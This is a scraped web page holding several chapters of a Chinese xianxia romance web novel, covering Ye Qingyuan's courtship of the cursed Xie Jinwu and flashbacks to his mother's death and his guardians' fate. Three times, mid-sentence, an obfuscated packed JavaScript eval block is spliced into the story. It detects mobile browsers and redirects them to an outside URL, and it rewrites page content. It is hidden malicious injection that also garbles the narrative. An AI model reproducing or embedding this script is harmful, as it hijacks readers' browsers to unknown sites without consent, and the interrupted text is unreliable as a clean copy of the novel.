她抬眸,谢尽芜专心细致地为她拂去大氅的雪,可他自己肩头的雪却拍得敷衍。 叶清圆本来还因为唇瓣被他咬伤而气着,此刻看了他一会儿,忽地就笑了。 谢尽芜将大氅展开,搭在厅里的暖炉旁,抬眸就迎上叶清圆含笑的目光,道:“看我干吗?” 叶清圆还是笑:“看你好看。” 谢尽芜被夸奖了也没有很高兴,忍了片刻,道:“你就只喜欢我的脸吗?” “怎么可能?” 她是这么肤浅的人吗? 叶清圆依旧眼中含笑,手心慢慢从他的肩头滑落,顺势替他拂去了细雪。 院子里的雪静谧地落。屋内的暖炉一直燃着,柔和的香气弥漫,温暖如春。 谢尽芜将那把素面的油纸伞撑开,转动伞柄端详了两眼,温声道:“想画什么?” “都好,”叶清圆捧着热茶慢慢喝,“不如画梅枝吧?” 红梅白雪,撑起来更好看。 谢尽芜“嗯”了一声,取出笔墨丹青,略一思索,便即下笔。 他垂着头,额前的碎发落下来,在清冷的雪光映照下泛出微光。 天青色伞面洒金。梅枝盎然,花瓣覆雪。 叶清圆笑意盈盈地看他,目光从他清隽的侧脸移到修长有力的指骨。手中的热茶散发着氤氲香气,暖烘烘的,热度一直蔓延到心底。 窗外飞雪漫天,屋内暖炉轻香。 她把茶杯放在桌上,以手支颐,脸颊斜倚在手心里,眼中含笑地盯着谢尽芜的脸。 谢尽芜很快就将伞面画好了,叶清圆凑过去看,却见那虬曲梅枝竟还有一朵小小的栀子花。 她心生奇怪,抬眸就撞上他温柔的目光。叶清圆终于回想起来,她今日发间簪着的簪子,正是一朵栀子花。 栀子花到底还是不是他的雷点啊。 叶清圆的目光落在他的衣领滚边,想要看那里是否绣着一朵栀子。 还未看清,谢尽芜将画好的油纸伞搁在窗下,顿了片刻,转身轻声道:“清圆,我有些口渴。” 叶清圆回过神来,执起茶壶给他倒了一杯热茶。 却见谢尽芜径直走过来,俯身,眼睫微颤,隐忍又渴求地盯着她红润的唇瓣。 温热的手指摩挲着她的下巴,谢尽芜却没有动作,仿佛放肆之前还要秉持礼节地征求她的许可。 叶清圆明白他说的“口渴”是什么意思了。 一个吻而已,至于迷醉成这样吗? 她不是那样腻歪的人,可谢尽芜却有点腻歪的征兆了。这种苗头不能惯着,况且是大白天,白璟这孩子还有点无拘无束的,万一哪天被他撞见多难为情。 于是她拧着眉,将温热的茶杯递给他:“喝口茶吧。” 谢尽芜被委婉地拒绝,垂下的眼睫掩住了眸中落寞的情绪。 叶清圆看得好笑:“要不要我喂你?” 他很快又抬起眸,眼中凝起笑意,接过她递来的茶盏一饮而尽。 随后,他搁下茶盏,将叶清圆的手指拢在掌心,垂首,近乎虔诚地吻了吻她的手指。 屋内寂静,角落里传来很轻的哔剥声,不知是炭火还是烛心。 谢尽芜将她的手背贴在脸颊上,脸上隐约有一抹笑意。 这样也很满足。 “系统提示:角色【谢尽芜】对宿主的好感值已经达到80%!” - 明月满照,漫山栀子花苞被绿叶托住,莹然可爱。 花枝浮起晚间的露水,在皎洁清辉下冽冽如雪。 流光山馆设在寻常人难以企及的山巅。登山道崎岖陡峭,两旁点满了各式各样的灯,远望如一捧星河流淌。 可是今夜,这一道绚烂星河却被浓雾和火光遮掩。 道旁的灯火被利刃刺透,热血泼溅,灯罩“呼啦”一声被山风吹起,混入修士们震天的喊杀声中。 “山中春迟,这里的栀子花都没开呢。” 白灵宣抱着谢尽芜坐在竹藤秋千上,温暖的手捂住他的耳朵,不叫他听山道上传来的刀剑打杀声。 她低头,颤抖的唇凑在他耳边,喃喃轻语,像是在哄他:“不知城里的栀子花开了没有。等明日天亮,清和替阿娘去看一眼,好不好?” 破败的灯座飞入道旁的灌木丛中,赤焰燃烧,火光照亮了半边天。 “阿娘,我们一起去吧?”谢尽芜抱着她的手,殷润黑亮的眼珠倒映了天幕的璀璨繁星,“我想和阿娘一起去。我们好久都没有下过山了。” “阿娘不得闲,你和阿楚、青松一起去,知道吗?” 一滴泪划过她的脸颊,砸进松软的草地中。 她站起身,青木发簪在清辉下隐隐若有流光,雪底描金的衣袍随风鼓胀。 在她的胸口,一只青鸾振翅欲飞。 谢尽芜拽着她的手不放,担忧道:“阿娘的手在发抖,是冷了吗?我们回屋里吧?” 白灵宣借着月色和漫天的火光凝视着谢尽芜。许久,忽然双手捧住他的脸,与他额头相贴,轻声道:“……好孩子。” 她的脸颊冰冷,带着潮湿的泪痕。谢尽芜懵懂地睁大双眼,今夜的阿娘实在太奇怪了,他从来没有见过她如此悲伤难过的模样。阿娘总是温柔的,脸上有着淡淡的笑意。 阿娘怎么会哭呢? 谢尽芜急得要命,小脸皱成一团,却听她喃喃道:“清和,以后要跟着楚姨生活,好吗?” 他睁大双眼:“什么?” “要好好吃饭,不可以挑食,要长得高高的。要用功读书,要学诗和文章,若你喜欢,学琴学画也未尝不可。” 白灵宣又笑:“不过呢,学不好也不要紧的,世间之事,哪能处处完美?” 她摸了摸他的脸,声音里有些哽咽:“只要我的清和,做一个平安的孩子就好。” 山风吹送,拂起谢尽芜额前的碎发。他怔怔地点头,脸颊干净,眼潭黑润漂亮,纵使不笑时也是个冰雕玉琢的人。 有冰冷的水珠扑打在面上,落雨了。 “若是遇到不开心的事情,就讲给楚姨和青松听,不要一个人憋在心里。”白灵宣扯起唇角轻笑,“可是我还是希望清和能永远开心。” “这只蕴灵珠,是你爹爹送给我的。他说他要带我去看花,我就抛下一切,和他来到了这里。” 她的手指向下滑,摩挲着谢尽芜的手。 剑指一划,谢尽芜的手指顿时溢出鲜血,融进了蕴灵珠中。 白灵宣的指尖点在那朵栀子花上,“不许弄丢,记住了吗?” 谢尽芜茫然地点头,一双漂亮的眼珠怔怔凝视着她:“阿娘不要我了吗?” 他的眼眶霎时红了:“是我哪里做错了吗?” 喊杀声越发近了,逼杀而来的玄门世家似乎抱着鱼死网破的决心。 猎猎风中传来弓弩满拉的遒劲声,有人一声令下,道道箭矢破空划过,锐利箭鸣响彻云霄。 随即,轰然一声爆响,莹蓝色的结界被众修士合力攻破! 山道上气喘吁吁跑来两人,一男一女,面色惶急道:“小姐,小姐!结界破了!姑爷叫你和清和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773168|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从后山小道先走!” 裹挟着湿润雨雾的晚风拂在面上,白灵宣缓缓闭上双目,长叹一声:“从今以后,你就跟着他们生活。” 她不去看谢尽芜满脸的泪水与委屈的企求,脸上神色是前所未有的严肃:“阿楚、青松,你们务必给我照顾好谢尽芜。天下之大,我不在乎你们要带他去什么地方,过什么样的生活。但只有一点,不许带他回渡亡世家,也不许他报仇,记住了吗?” 阿楚的脸色苍白,拼命摇头道:“小姐,要走我们一起走!” 白灵宣扬起脸,蜿蜒的山道上,一道雪亮的剑光刺破夜幕与烈火,清锐剑鸣响彻群山。 谢拱辰端立在青石砖道,手中持一把澄澈冷凝的长剑。山林的狂风穿过他宽大的衣袍,大袖迎风,猎猎飞扬,宛如仙鹤振翅,纵入九霄。 白灵宣的目光落在那道身影,眼中是化不开的柔情与决绝:“这场祸端是我们共同惹下,我怎么忍心叫他独自面对?” 阿楚早已怒不可遏,此时忍不住厉声道:“这与小姐和姑爷又有什么关系?分明是那些世家的混账们贪心狂妄!凭什么要我们来承担……” 白灵宣抬手打断了她,转过身来,凝视着谢尽芜的脸,忽然用力抱住了他,低声笑道:“可惜阿娘见不到你长大的模样了,不过,一定是和你爹爹一样英俊。” 她深深地拥住了谢尽芜,两息后,果断、决然地将他推进青松的怀里。 “你们跟我多年,今后的路该如何走,不必我多说。快走!” 她手腕一抖,掌心托出一道刻满咒文的铜铃,道道符纸悬系在下方,灵息弘大磅礴。晚风呼啸,清脆悠扬的铜铃声响如涟漪般漾开,山道上震天的喊杀声忽然一瞬寂静。 阿楚边哭边止不住地咒骂,被青松拽住手腕硬生生拖去了后山的小道。 清辉骤减,山道上视线昏暗,三人劈开野草和灌木丛,仓皇向山下逃去。 谢尽芜的泪水一下从眼眶里涌出来,他被青松抱在怀里,点了哑穴,疯狂挣扎也挣不脱,憋得小脸通红。 不知过了多久,晚风中夹杂的刀兵相接声才逐渐消退。 他脱力般地伏在青松的背上,耳边传来了压抑至极的哭泣和喘息。 谢尽芜怔然抬眼望去,昏迷之前的最后一眼,那山顶之上,熊熊赤焰燃烧,火光染透了半边天幕。 昏沉朦胧的月夜,冰凉的雨丝扑在面上,冷得像冰。 阿楚颤抖着双腿,扑通一声跪在了地上,嘶声哭喊道:“小姐!” 久远的回忆激起他脑海深处的一阵钝痛。 鼻端似乎还萦绕着清甜的栀子花香,漫天的烈火照亮漆黑的夜幕。细碎冰冷的夜雨中,流光山馆逐渐被熊熊赤焰吞噬。 山中春迟。可等他们逃到山下后,却再也没见过栀子花。 谢尽芜从床榻起身,披上外衣,苍白的手指仍旧在颤抖着。 他记不清多久没有做过梦了。今夜的梦,却是流光山馆那场燃了一晚的烈火。 窗外的细雪密集而静谧,雪光清亮、月色皎洁,屋内并未燃灯,谢尽芜灌了一杯冷茶,勉强压下了胸腔中的燥郁。 喉间涌上一股腥甜,他强忍着呕血的冲动,伸手去抚眉心,指尖顿时漫出一种火辣辣的痛感。额头上浮起一层薄薄的冷汗,眼尾与鬓角的灼痛宛如烈火焚烧。 阿楚、青松…… 那座远离村镇喧嚣的破旧茅草屋,至今还在吗? 桌上的茶盏忽地被蒙上一层阴影。 谢尽芜抬眼看去,木窗外显出一道瘦长得过分的影子。 它敲了敲门,扭曲的声音是对人类的拙劣模仿:“路过此地,有些口渴。” 谢尽芜不答。 那道影子似乎是嗅到了屋内隐约的血腥气,浑浊的声音顿时变得兴奋起来:“可否借一碗血?” 73. 心影 窗外雪光清亮。 瘦长身影以一种奇怪扭曲的姿势趴伏在木窗,似乎是想要透过木窗打量着什么。 心影。扎根于目标者内心的恐惧与执念,利用人的念而不得,攻破识海。 这种东西只是一团黑雾,没有实体,可随意消散、凝聚,杀也杀不死,狗皮膏药似的黏着人就不撒手。也正因如此,心影常被用来探听情报、挖人把柄。 然而,这种术法毕竟太过邪性,对施术者的要求也极高。哪怕施术时有半分偏差,也有可能导致人神智错乱、疯癫而亡。 往年有许多修行界青年才俊被心影攻击、当场暴毙的先例,所以修行世家对这种术法一直是明令禁止,不到万不得已,不许使用。 这种阴狠的招术好多年没有出现过了。许家庄终年与世隔绝,竟也有人懂得操纵心影吗? 还是,已经有人迫不及待地追过来了? 谢尽芜不急不缓地起身,束上衣带,随手将额前被冷汗打湿的碎发往后拨去,露出光洁的额头。 窗外那只心影迟迟等不到回复,顿时就急躁起来,哐哐撞击着木柞窗棂,发出刺耳的声响。 檐下风铃被它浑身的戾气激荡,不住摇摆晃动着。 它察觉到谢尽芜的接近,血腥气让它更加狂躁起来。谢尽芜强忍着喉间翻涌的血腥气,抬手推门。 与此同时,门外心影趁隙钻进来,一缕潮湿的黑雾顺着他的手臂缠绕而上,顶端化作利剑般尖锐,就要刺穿他的心口。 谢尽芜轻哼一声,无视这逼近心口的利刃,手腕翻转,五指张开,虎口狠狠钳住那黑影细弱的脖颈。 这黑影本来并无实体,如今被他钳制住咽喉的位置,浑身竟如过电般颤栗起来。妄图钻进他心口的一缕雾气也瑟缩着消散。 下一瞬,他掌中捏着的一段雾气,竟倏忽变成了人的喉咙。 白灵宣脆弱纤细的脖颈被他单手拧住,整个人踮起脚来,眸中含泪,挣扎着轻声唤他:“孩……子。” 谢尽芜的眼眸蓦地睁大,手掌顿时就卸了力。 白灵宣跌坐在地,捂着胸口剧烈呛咳着,雪底描金的裙摆铺开在地面上,像是盛开了一朵花。 他的唇颤抖着,脑海中传来撕裂般的剧痛,那道带着嘲讽的声音又响起:“连一只小小心影都解决不了,无谓的仁慈!这么多年,你还是毫无长进!” 谢尽芜的目光落在白灵宣的脸上,心中的思念与杀戮的欲望一同沸腾起来,烧得他几欲落泪。 那道声音恨铁不成钢:“永远追逐着虚妄与幻想,与寻死无异。” 谢尽芜的牙关紧咬着。心影最擅长利用人内心的恐惧与渴望,从而扭曲现实,趁虚而入。白灵宣早就去世了,怎么可能出现在他的面前? “白灵宣”扬起脸来,漂亮的眼睛里满是做作得令人作呕的可怜。 它顶着这么一张脸来恶心人,着实是活腻了。 谢尽芜眉头直抽,眼尾与鬓角的邪印痕迹愈发清晰。他忍着脑海深处传来的剧痛,指骨用力,硬生生攥碎了这只心影! 尖利的嘶叫声响起。浓重的黑雾随风散尽,一张白纸轻飘飘地落了下来,檐角风铃轻响。 旁边的支摘窗半开着,清辉泼洒,照亮了叶清圆满是讶异的脸。 她的视线落在那张掉在地上的白纸,小声道:“这是……什么?” 谢尽芜面色苍白地望着她,眼尾的痕迹在月下清晰可见。他的眉心微蹙,痛楚难耐,下一瞬,唇角竟是溢出了鲜血。 “谢尽芜!”叶清圆大惊,慌忙过去扶住他。谢尽芜有些站不稳,整个人都要靠在她的身上。 他的气息微弱至极,长睫垂覆,脸色苍白如纸,薄薄的冷汗在鬓角汇聚成一滴汗水,慢慢滑落至腮边。 叶清圆费力地将他扶到床榻上躺好,伸手擦了擦他脸上的冷汗。谢尽芜的眼神有些失焦,下意识地偏过脸去贴她的手。 叶清圆焦急问:“是邪印又发作了吗?” 他最近邪印发作得厉害,但痛到吐血还是头一回。叶清圆心中焦急又担忧,却听窗外响起纸张扑簌簌的声音,那跌落在地的白纸倏忽一变,竟是化作一只白鹤的影子,振翅飞去了。 谢尽芜的脸颊埋在枕头上,眼睛紧阖着,秀挺的鼻梁上隐有薄汗。 叶清圆俯下.身去,轻声问:“很难受吗?” 她伸手揉了揉他冰冷的脸颊,毫无反应,连掌心都是冰冷的毫无温度。 叶清圆担忧得心跳都加快了,她垂下颈子,一咬牙,吻住了他苍白颤抖的唇。 谢尽芜双眼紧闭,被他刻意压制的某些回忆如浪潮翻涌上来,皙白清隽的脸上露出痛苦的神色。 无谓的仁慈。 他苦苦追寻的,不过是虚妄与幻想。 撕裂般的苦楚蔓延至四肢百骸,吼叫声、哭泣声,叱骂声充斥着脑海,他跪在无边的血海尸山中,头颅低垂,利剑生锈,血淋淋的手撕扯着他脏污的衣袍,誓要他坠入无尽的深渊。 他恍惚想起,在那段遥远模糊的回忆里,似乎也有人对他说过同样的话。 茅草屋外残阳如血,一道清溪蜿蜒流过。蓄水的毛竹敲在溪边山石上,发出咚的轻响。 那是个少年,病弱不堪,力道微小,却刚好能掐住他脆弱的喉管,叫他眼前发黑,呼吸困难。 他的手腕上有两滴泪,不知是谁落下的。那少年穿一身黑白相间的衣袍,颤抖着声音质问他:“为什么所有人都死了,却只有你还活着?!” 谢尽芜的心口传来灼烧般的剧痛,鬓角和眼尾仿佛有什么东西挣扎而出。 那少年按在他脖颈的手指冷得像冰,恨声道:“你真可悲,族人尽灭,你却还什么都不知道。” 脑海深处隐隐有鹤唳声声,谢尽芜只觉得有什么东西在攻破自己的脑海与心防。在失去意识的前一刻,少年忽地松开了手,拂袖离开。 他跌倒在溪边,楚姨和哑巴惊慌失措地跑过来,刚买的果子被丢在门口,金灿灿的柿子骨碌碌滚了一地。 哑巴说不出话,查看了他身上的伤势,轻轻摇头。 楚姨惊怒交加,怒到极点,反倒扯出一抹恐怖的笑:“非要逼得我们无路可走是吗?” 她的目光落在哑巴刚毅痛苦的脸上,眼里满是红血丝:“青松,当初为了在那些人手底下换取一线生机,你宁肯割舌退让,保证这场仇怨就此为止,再不寻仇。可事到如今,我问你,一味的退避忍让有任何用吗?!” 哑巴垂着头,牙关紧咬。 楚姨冷笑道:“现在可好了,连永安江氏这种小门小户也敢来欺辱我们渡亡世家的人,若非小姐下令不许回到家族,江氏敢这么胡作非为?” 哑巴捡起地上的树枝,划拉着写出几个字。 “不是永安江氏?”楚姨拧眉,“那还能是谁?渡真?” 也不像。渡真若是出手,必定是赶尽杀绝,才不会只在谢尽芜的身上留下一道邪印。 “现在他还小,不懂得这些人心算计。等过几年呢,你觉得他会不会去寻仇?”楚姨说着说着,忍不住落下泪来,“我们纵使能护他一阵子,还能护住他一辈子吗?万一过几年我们真的被那些贱人给杀了,他又该怎么办?” 哑巴低头沉默,过一会儿捡了根树枝,在地上划了三个字:“谢长生。” 楚姨哼道:“这个人死没死我们都不知道,还妄想他能来帮忙呢?当初姑爷也三番五次劝他,不要被执念蒙蔽心智。可是他听吗?” 哑巴叹了一口气,也没办法了。 过了许久,楚姨骂道:“罢了!就算真要杀上门来,难道我们还能逃得过吗?左右是一死!就算死,我也要拉几个垫背!” 那天的落日余晖红得刺目,清澈的溪水里都像是淌满了血。 - 一股温暖柔和的灵息被渡进他的口中,渐渐抚平了谢尽芜体内翻涌叫嚣的痛楚。 他的意识回笼一部分,唇上感受到柔软的触感,当即浑身一僵,抬手就掐住那人的脖颈。 “咳——咳,谢……”叶清圆猝不及防被掐得近乎失声。 谢尽芜在看清她面容的一瞬间松了手,反应过来立刻将她拥在怀里。 颤抖着的手指抚在她的后背上,对刚才的险些失手而感到心有余悸。 叶清圆咳了好大一会儿才缓过气来。她庆幸谢尽芜因为刚醒的缘故还没有使劲,否则她不敢保证现在还能喘气。 谢尽芜惊骇未消,满心的愧疚,手掌一下一下抚着她的后背。他有些不知所措,抿唇道:“对不起。” 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783683|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清圆抬起脸来,脸颊闷得发红,眼底有泪:“差点就被你亲手送走了……” 谢尽芜抬手,指腹轻柔地拭去她眼尾的一点泪痕:“以后不要给我渡灵了,对你不好。” 叶清圆怒道:“难道要我看着你痛得晕过去吗?你刚才连心跳都弱得听不清了,知道吗?” 谢尽芜的手顿了顿,有点不敢相信,试探道:“你心疼我了吗?” 叶清圆往他手臂上捶了一拳:“没有!你想得美。” 谢尽芜握住她的手,轻轻地笑起来。 人都被邪印折腾得快断气了,还有心思想这些有的没的。 片刻的沉默后,叶清圆清了清嗓子:“刚才那是个什么东西?纸人?” “心影。”谢尽芜简短地讲了一下。 叶清圆思索道:“为何会化作白纸,又飞走呢?而且还变成了一只白鹤的模样。” 谢尽芜不甚确定道:“我所中的邪印,似乎可以克制心影。” “克制?” “嗯,”谢尽芜轻声道,“许多年前,我还在希夷殿的时候也遇到过一只心影。” 那只心影简直阴魂不散,无论他用剑、用刀,都无法彻底杀死它,最终是他体内的邪印开口,灵息散出,才搅碎了心影。 刚才也是,是邪印屡次出言相激,散出灵息,他才徒手掐碎了那只心影。 叶清圆眨了眨眼:“你还记得是什么时候中的邪印吗?” “大概在进入希夷殿之前。谁人下手,我却不知。” 其实,当初谢尽芜之所以进入希夷殿,也是一桩巧合。 他那时在城隍庙里中毒濒死,恰巧被路过的希夷殿殿主看见。殿主解了他的毒,也看中了他过人的天资,谢尽芜听说进入希夷殿不用饿肚子,想也没想,就磕头拜了老殿主为师。 后来老殿主才告诉他,他体内有一道罕见的邪印。下手之人太过狠毒,若强行除去邪印,他也必死无疑。 “方才的心影化作白鹤飞去了呢。”叶清圆轻声道,“你说,雁含妹妹见到的小鹤仙,会不会也是心影?” “还有,邪印可以化作黑雾,心影也是一团黑雾。有没有一种可能,心影与邪印,其实是同一种东西?” 谢尽芜静静听着,眼潭沉静,神色并没有半点意外。 仿佛这种猜测,已经在他的心头萦绕过无数次。 “邪印发作时可解除心影这种术法。那若是反过来,可还成立?” 用心影来攻破邪印。 谢尽芜垂眸看她:“你这个想法,很是大胆。” 叶清圆笑意盈盈道:“试试嘛,我觉得可行。” 毕竟他在原著中也是这样冲开邪印,从此修为大增的。若没有完全的把握,她怎么舍得拿谢尽芜的性命去赌这一点可能性呢? 檐下风铃轻响。 谢尽芜将她往怀里按了按,下巴在她柔软的发顶蹭了蹭,手指无意识地抚着一缕发丝。 叶清圆的目光落在他略微扯开的衣领,那里隐约绣着一朵栀子花,小巧灵动,光华流转。 她顿了一会儿,轻声道:“谢尽芜,可以告诉我你为什么不喜欢栀子花吗?” 谢尽芜低头看她,眼神茫然不解:“为什么想要知道这个?” 为什么呢? 最初只当作他的雷点,她有意识地去尽量避免踩雷、不去拉低谢尽芜对自己的好感值,仅此而已。 就像游戏里做任务一样,既然系统明确告知了该角色的厌恶点,她为了尽快完成游戏,当然要遵守提示。 可接触久了,她却对他产生好奇,开始在乎他,想了解他的全部,无论好坏。纵使她已经知晓他不太喜欢栀子花,纵使系统再也没有提示过“栀子花”这个点,她却开始在意这背后的原因。 她满怀疑问地想:为什么谢尽芜会这样呢?不是说了讨厌栀子花吗,为什么还要把栀子花绣在领口? 谢尽芜的眼帘轻阖,声音轻得宛如梦呓:“你很想知道吗?” 叶清圆在他的怀里抬起头来,凑过去蜻蜓点水似的吻了吻他的唇角,漂亮的眼睛里充满了认真:“或许不是一段美好的回忆,可若是说出来,至少还有我陪你一起分担这份痛苦。” 她握住谢尽芜的手:“你愿意说给我听吗?” 74. 立碑 茅草屋外的山溪水清澈得宛如月光。 一个年纪尚幼的孩子蹲在溪水边,身旁放了一只竹编鱼篓。 鱼篓里有四五只小鱼,巴掌大小,活的。谢尽芜伸手从鱼篓里捧了小鱼,动作很轻地放回到溪水里,口中虔诚念道:“小鱼小鱼快快游。” 哑巴坐在一旁的大石上,看他放生放得不亦乐乎,却是满脸郁闷。 茅屋的木门咣当一声开了。楚姨探头出来,手中拿着一个锅铲,怒道:“我刚捞的鱼呢?” 谢尽芜吓得浑身一个激灵,手里的鱼扑通跃入溪水中,清凉的溪水溅了他满脸。 他背着手站在溪水旁,好像个认错的孩子在乖乖罚站。 脸上却没有半点愧疚之色。 楚姨一眼就看到作案现场,顿时怒火中烧,抬手一指谢尽芜:“又是你。你给我滚出去,晚饭之前别叫我再看到你。” 谢尽芜不敢忤逆她,“哦”了一声,低头在衣服上擦了擦手,站起身就要走。 谁知溪边石头很滑,他一个没留神,竟将整个鱼篓都踢翻在溪水中,四五尾小鱼摆着尾巴游走了。 楚姨的手背上鼓起青筋,扬起锅铲就要抽他一顿出气。哑巴赶紧站出来,张着嘴啊啊地为他求情告饶。 楚姨举着锅铲冲他一点:“你也滚。” 两人怏怏地出了院子,往村镇里去了。 到傍晚时分,谢尽芜路过一个卖花的小摊,提议道:“哑巴叔,我们给楚姨买一束花吧,求她不要生我们的气了。” 哑巴神色郁闷地看着他,心说:孩子,你少放生点食材比什么都强。 谢尽芜很认真地挑了挑,选出一束栀子花:“楚姨应该很喜欢栀子花吧?她经常看着那条栀子花的吊坠发呆。” 他的神情出现一瞬的茫然,声音小了些许:“或许也是在想念阿娘。” 哑巴刚要点头,腕上的传信咒文倏忽亮了起来。 他的脸色蓦地变了。 这是哑巴叔和楚姨之间独有的联络方式。谢尽芜曾经也想要一个,可惜楚姨骂他人小事多,叫他一边玩去。 谢尽芜看了一眼:“是楚姨找你有事吗?” 哑巴低着头,他逆着夕阳而立,半边脸掩在阴影中,神色是不易察觉的凝重。 谢尽芜猜想,这个时辰,楚姨一定是叫他们回去吃饭了。 他开开心心道:“楚姨真好,我就知道她不会生我气的。哑巴叔,我们买了栀子花就快点回去吧!” 说着就要牵起哑巴的衣袖,谁知哑巴满头是汗,竟不为所动,甚至忽地甩开了他的手。 谢尽芜怔怔的仰头看他:“怎么啦?” 村镇上人来人往。哑巴将他拽到道旁的柳树下,折了柳枝在地上写出两行字:“找个茶馆待着,勿回。” 写罢,将柳枝扔到一边,取出钱袋塞进了谢尽芜的手里。 谢尽芜不明白:“为什么?” 哑巴摇头,粗糙的大手颤抖着摸了摸他的脸。 他不是哑巴,他是青松。 他十二岁就因身手不凡被挑选为白灵宣的近身暗卫。他入渡亡世家之前连顿饱饭都吃不起,为了好养活,才取了个叫“柱子”的贱名。白灵宣笑他愚笨木讷,笑过之后却指了窗外一株遒劲的古松,说你眉目刚毅,为人又忠厚老实,从今往后就叫青松吧。 十年过去,他替她铲除了无数暗敌,身上满是傲人的伤痕。 他本该这样在暗中护卫她一生平安顺遂。即便要死,他也该死在敌人的剑下,死在掩护她逃生的路上。 然而在流光山馆被攻破的那一晚,白灵宣和谢拱辰葬身火海。他却连剑都没出鞘,只抱着她的儿子仓皇逃走。 青松时常在想,或许他并没有尽到自己身为暗卫的职责。 可是当他看到谢尽芜时,却又心生庆幸。 至少他护住了这个孩子。这是白灵宣生命的延续啊。 谢尽芜有点委屈:“是楚姨还在生我的气吗?” 青松的眼眶发红,望着谢尽芜这张酷似白灵宣的小脸,咬着牙点了点头。 “那好吧,我先不回去就是。”谢尽芜抓着他的袖子,“你一定要好好劝楚姨啊,叫她不要再生我的气。我以后……不会再把她捞的小鱼放走了。” 青松不信,却还是点了点头。 谢尽芜又问:“那我什么时候可以回家呢?等天黑可以吗?” 青松用力闭了一下眼,摇头。 “今晚不行……那明天早晨可以吗?”谢尽芜恳求,“不可以再晚了。见不到你们,我一个人会害怕的。” 青松站起身,手心在他发顶揉了揉,点头,而后转身离去。 谢尽芜站在河岸边的柳树下,浑身被熔金般的落日镀上一层耀眼的金光。 他心怀侥幸地想:楚姨虽然脾气有些不好,但其实是嘴硬心软的。 楚姨对他这么好,肯定不会生气那么久的。 手臂收紧,他抱紧那一束栀子花,在岸边的草地上坐了两个时辰。 天色已黑,温度慢慢转凉,树梢下的晚风甚至有些冷意。他望着水面倒映的漫天繁星,忽然很想回去。 现在回去的话,他们应该都睡下了吧?他蹑手蹑脚地进门,不会吵醒楚姨的。 如此期盼着,谢尽芜站在了茅草屋的大门前。 他们为了避人耳目,特意住在远离村镇的偏僻之地。土路崎岖不平,谢尽芜一路摸黑跑来不知摔倒了多少个跟头,他气喘吁吁地看了看怀里的栀子花,幸好无损, 花束无损,他想要送给楚姨的欢喜也完好无损。 院门更近了。他抬眼望着那道破旧的木门,脑海中难以控制地回想起往事。 楚姨平日里虽对他动辄打骂,斥责他是天降灾星,不该活着,为什么不替小姐去死。可事后缓过劲来,却又抱着他呜呜哭泣,痛苦悔恨不已。 他起先以为楚姨是生病了,才这样情绪不定反复无常。可后来有一次过上元节,楚姨醉得不太清醒,才含混颠倒地对他讲,她其实心里恨死了谢拱辰。 若非谢拱辰,小姐或许还在到处看花看海,做渡亡世家无忧无虑、无牵无挂的大小姐。她不会被牵扯进谢氏一族的恩怨,更不会死在世家的围攻之中。 楚姨笑得有些难看:“所以你看,这世上千万事,半点不由人。当年小姐非要嫁给姑爷的时候,我就该拼了命去劝阻的,去跪下求她,去哭,去闹!若我真的敢那样做,后面也就不会有这么多事了。” 青松皱眉敲了敲桌子,示意她不要酒后失言。 楚姨嗤笑一声,不甚在意:“我说错了吗?你还想护他到什么时候?让他永远这么天真下去?” “青松,你我最能体会的。无依无靠的孩子没有保持天真的权利。” 她的视线又落在谢尽芜的身上,眼中充满了嘲讽:“至于你,你也别觉得我对你有多好,我的脾气什么样你还不清楚吗?若你不是小姐的孩子,我才懒得管你是生是死。这几年供你吃喝我也不需要你报恩。假使有一天我和青松都死了,你也用不着感到愧疚,我们是找小姐去了。记着,你与我们,从来都是两不相欠。” 她叹息着倒酒,一饮而尽,轻声道:“等我们死了,你要继续学格斗之术,不可荒废,剑术也别落下。不必学得多厉害,只要别被人打死就行。真打不过就跑,别瞎逞能。小姐她绝对不想这么快就见到你的。对了,你之前不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783684|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说过,小姐叫你念书学画吗?这一点我和她持不同意见,念书学画那是安宁人家才顾得上的东西。你小子连家都没了,还附庸个屁的风雅。” 谢尽芜认真听着,抬眼看了青松。 青松也冲他点点头。 楚姨对谢尽芜是爱恨掺半。 爱他是白灵宣的孩子,恨他是白灵宣和谢拱辰的孩子。 谢尽芜心中清楚,楚姨和青松叔抚养他这半年,其实都是在完成阿娘的心愿。 他们也确实做到了,让他的这半年过得平和无波。他懂得感恩,因此极少犯错,在楚姨控制不住情绪的时候,也乖巧地尽量忍耐。 他们是他在这世间仅剩的温暖了。他懂得珍惜。 谢尽芜抬手推门。 门轴转动发出的吱呀声惊飞了枝梢栖息的鸟儿,翅膀拍动的轻颤震落了树梢的叶子。 他压着喘息,蹑手蹑脚地走近院子,步伐倏忽一顿。 